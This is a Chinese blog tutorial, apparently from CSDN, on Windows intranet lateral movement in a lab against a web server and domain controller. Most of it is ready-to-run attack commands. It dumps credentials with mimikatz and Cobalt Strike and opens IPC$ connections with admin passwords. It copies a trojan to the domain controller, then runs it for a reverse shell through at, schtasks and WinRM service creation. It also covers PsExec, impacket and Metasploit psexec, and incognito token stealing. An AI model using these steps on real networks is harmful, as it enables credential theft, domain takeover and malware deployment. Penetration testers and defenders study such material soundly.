内网横向移动

内网横向移动

当攻击者在拿下一台内网主机后,通常会利用当前拿下的机器当作跳板,进一步攻击 内网其他主机,扩大攻击影响范围。

攻击机:Kali Linux   

靶机:        Windows server 2008            WEB 10.10.10.20\192.168.XX.XX(跳板机)  

                   Windows server 2012            DC    10.10.10.10\192.168.XX.XX       

获得WEB shell后,获取所有账号密码

load kiwi  #mimikatz

getsystem 提升权限

creds_all  获取所有帐户密码

#将目标主机账号密码复制下来备用

IPC$简介

IPC$ (Internet Process Connection) 是共享"命名管道"的资源,它是为了让进程间 通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的 通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

利用 IPC$ ,连接者与目标主机利用建立的连接可以得到目标主机上的目录结构、用 户列表等信息。

使用条件

1.开放了 139 、 445 端口;

IPC$ 连接可以实现远程登陆及对默认共享的访问,而 139 端口的开启表示 netbios 协议的应用。

我们可以通过 139 和 445 端口来实现对共享文件/打印机的访问,因此一般来讲, IPC$ 连接是需要 139 或 445 端口来支持的。

IPC$ 连接默认会走 445 端口,不通的话则会走 139 端口,这两个端口都可以单独实 现文件共享

2.目标开启 IPC$ 文件共享服务及默认共享

默认共享是为了方便管理员远程管理而默认开启的共享。

所有逻辑磁盘( c$、d$、e$ ...)和系统目录 WINNT 或 WINDOWS(ADMIN$) ,通过 IPC连接可以实现对这些默认共享的访问

net share

3.需要目标机器的管理员账号和密码

默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对 admin$ 目录建立 IPC 连接

本地的 Administrator 用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用 Administrator 用户远程连接

常用命令

1. 连接

net use \\10.10.10.10\ipc$ /user:web\administrator "admin@123"     

2. 查看连接情况

net use

3. 查看目标主机时间

net time \\10.10.10.10

4. 删除连接

net use \\10.10.10.10\ipc$ /del

net use * /del /y    #删除所有连接

5. 文件上传下载

copy shell.exe \\10.10.10.10\c$\windows\temp\xxx.exe  

copy \\10.10.10.10\c$\xxx.exe c:\     #从目标机器下载到本地

6. 查看目标主机文件

dir \\10.10.10.10\c$

7. 开放/关闭 ipc$ 共享

net share ipc$

net share ipc$ /del

8. 共享计算机 C 盘

net share C=c:\

9. 映射共享磁盘到本地

net use z: \\10.10.10.10\c$ /user:administrator "xxxxxxxxx"

10. 查看/删除共享的资源

net share

net share C /del

11. 取消IPC远程连接

net use c: /del

net use * /del /y

#建议手打命令

IPC$连接失败常见错误号

错误号 5,拒绝访问    【很可能你使用的用户不是管理员权 限,先提升权限】

错误号 51,Windows 无法找到网络路径     【网络有问题】

错误号 53,找不到网络路径   【ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)】

错误号 67,找不到网络名      【你的 lanmanworkstation服务未启动;目标删除了 ipc$;】

错误号 1219,提供的凭据与已存在的凭据集冲突     【你已经和对方建立了一个 ipc$,请删除后再连】

错误号 1326,未知的用户名或错误密码             【用户名或密码错误】

错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型

错误号 1792,试图登录,但是网络登录服务没有启动     【目标NetLogon服务未 启动[连接域控会出现此情况]】

错误号 2242,此用户的密码已经过期        【目标有帐号策略,强 制定期要求更改密码】

IPC+AT+Schtasks

AT简介

AT命令可在指定时间和日期、在指定计算机上运行命令和程序

#Windows2012以下系统可使用at命令

net use \\10.10.10.10\C$ /user:starry\administrator "admin@123"    

copy c:\\dc.exe \\10.10.10.10\c$\windows\temp\6888.exe       #下载木马

查看远程主机时间:net time \\10.10.10.10

AT命令添加任务:at \\10.10.10.10 10:10 c:\6888.exe

AT命令删除任务:at \\10.10.10.10 1 /delete

AT命令查看任务:at \\10.10.10.10   #查看at任务列表,已经执行了的,不会显示

Schtasks简介

由于 AT 在 windows server 2012 等新版系统中已被弃用,所以需要使用 schtasks 命令代替

允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务

请参考:Windows使用SCHTASKS 命令执行定时任务_刘李404not found的博客-CSDN博客

创建任务

schtasks /create /tn task /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system

运行任务

schtasks /run /tn task /s 192.168.10.2 /U 域/域用户 /P 域用户密码

删除任务

schtasks /F /delete /tn task /s 域机器ip /U 域\域用户 /p 域用户密 码

schtasks /create        创建新的计划任务。        

               /sc schedule       指定计划类型。有效值为 MINUTE、HOURLY、 DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。        

               /mo modifier       指定任务在其计划类型内的运行频率。这个参数 对于 MONTHLY 计划是必需的。                            

对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。         /tr       指定任务运行的程序或命令。如果忽略该路径, SchTasks.exe 将假定文件在 Systemroot\System32 目录下。        

               /tn      指定任务的名称。

建立IPC连接

net use \\10.10.10.10\ipc$ "admin@123" /user:administrator      #连接DC主机

上传木马

dir \\10.10.10.10\c$

copy c:\6888.exe \\10.10.10.10\c$

远程主机创建定时任务

schtasks /create /s 10.10.10.10 /u "dc\administrator" /p "admin@123" /sc MINUTE /mo 1 /tn task /tr "c:\\6888.exe"      #复制命令可能报错!建议手打命令

一分钟后,反弹shell

查看远程主机创建的定时任务

chcp 65001   #不更改代码页编码,直接查看可能会报错

schtasks /query /s 10.10.10.10 /tn task    #查看定时任务 

Schtasks运行远程主机上的计划任务

schtasks /run /s 10.10.10.10 /u administrator /p "admin@123" /tn task

Schtasks删除远程主机上的计划任务

schtasks /delete /tn task /s 10.10.10.10 /u dc\administrator /p admin@123

WinRM

WinRM 指的是Windows远程管理服务,通过远程连接winRM模块可以操作 windows命令行,默认监听端口5985(HTTP)和5986 (HTTPS),在2012及以后默认开启

开启WinRM

判断本机是否开启WinRM服务

winrm enumerate winrm/config/listener

查看远程主机是否开启WinRM服务:

serverscan.exe -h 10.10.10.10 -p 5985,5986

nmap  -A sV 192.168.1.6 -p 5985,5986

命令开启WinRM服务

winrm quickconfig

允许远程主机访问及访问远程主机

WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问

winrm set winrm/config/client @{TrustedHosts="*"}   #允许所有主机访问

Winrs执行命令

winrs -r:http://10.10.10.10:5985 -u:administrator -p:admin@123 ipconfig     #建议手打命令

winrs -r:http://10.10.10.10:5985 -u:administrator -p:admin@123 "cmd.exe"

WinRM横向移动

利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。

winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}

命令调用了Windows WMI中Win32_process类的Create方法,生成了一个 calc.exe的新进程

在远程机器上打开进程

winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://10.10.10.10:5985 - u:administrator -p:admin@123

在远程机器上创建服务

winrm invoke Create wmicimv2/Win32_Service @{Name="task";DisplayName="test";PathName="cmd.exe /k c:\6888.exe"} -r:http://10.10.10.10:5985 -u:administrator - p:admin@123

在远程机器上启动服务

winrm invoke StartService wmicimv2/Win32_Service?Name=task -r:http://10.10.10.10:5985 -u:administrator -p:admin@123

MSF启动侦听,反弹shell

横向移动-外部工具

Psexec

PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用 程序提供完整的交互性,而无需手动安装客户端软件。

Psexec原理

1. ipc$ 连接,释放 Psexesvc.exe

2. 通过服务管理 OpenSCManager 打开受害者机器上服务控制管理器的句柄

3. 通过 CreateService 创建服务

4. 获取服务句柄 OpenService 使用 StartService 启动服务

Psexec使用前提

1. 对方主机开启了 admin$ 共享,如果关闭了 admin$ 共享,会提示:找不到网络名

2. 对方未开启防火墙

3. 如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机 上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户) 登录都会提示访问拒绝访问。

4. 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域 主机可以用普通域用户,连接域控只能用域管理员账户。

PsExec.exe使用

微软官方工具包

PsExec - Sysinternals | Microsoft Learn

IPC连接

net use \\10.10.10.10\ipc$ /user:administrator "admin@123"

建立IPC连接,无需输入密码

反弹cmd:

PsExec64.exe \\10.10.10.10 -s cmd.exe -accepteula 

无法启动服务,执行命令没有回显,但是可以运行木马上线。

在WEB主机上可以运行命令

 Psexec.py

impacket 套件中的 Psexec 与官方 psexec.exe 相比会自动删除服务,增加隐蔽性.

下载地址:

https://github.com/SecureAuthCorp/impacket

psexec.py starry/administrator:admin@123@10.10.10.10

Psexec.exe

目标机器没有python环境,所以把 .py文件打包成 .exe文件 

下载地址:

https://github.com/maaaaz/impacket-examples-windows

psexec.exe starry/administrator:admin@123@10.10.10.10 whoami

Metasploit

Psexec

use exploit/windows/smb/psexec

set RHOSTS 10.10.10.10

set SMBDomain starry

set smbuser administrator

set smbpass admin@123

exploit

Token窃取

Windows有两种类型的Token:

Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程 桌面登录) Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)

两种token只在系统重启后清除

具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

Metasploit

在Metasploit中,可使用incognito实现token窃取,Metasploit中的 incognito,是从windows平台下的incognito移植过来的

# 加载incognito模块

load incognito

# 列举token

list_tokens -u

# 查看当前token

getuid

# 提示至system权限

getsystem

# token窃取

impersonate_token "NT AUTHORITY\\SYSTEM"

# 从进程窃取token

steal_token 1208

# 返回之前token

rev2self  |   drop_token

Cobaltstrike

跳板机:Windows 7 旗舰版

内网机器:Windows server2008、Windows server 2012

跳板机提升权限

利用ms14-058漏洞

凭证获取

hashdump           #获取hash

logonpasswords  #获取明文密码

扫描存活主机

PortScan扫描存活主机    #没有扫描结果

Net View  网络视图 

结果如下:

Psexec 

由于DC不出网,需要添加正向监听

选择Beacon SMB,点击保存

选择DC右击,选择psexec

Domain:域名

Listener:选择刚才生成的Beacon SMB

session:选择web主机

点击Launch

##前提是知道目标主机密码!!!

上线成功

...

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值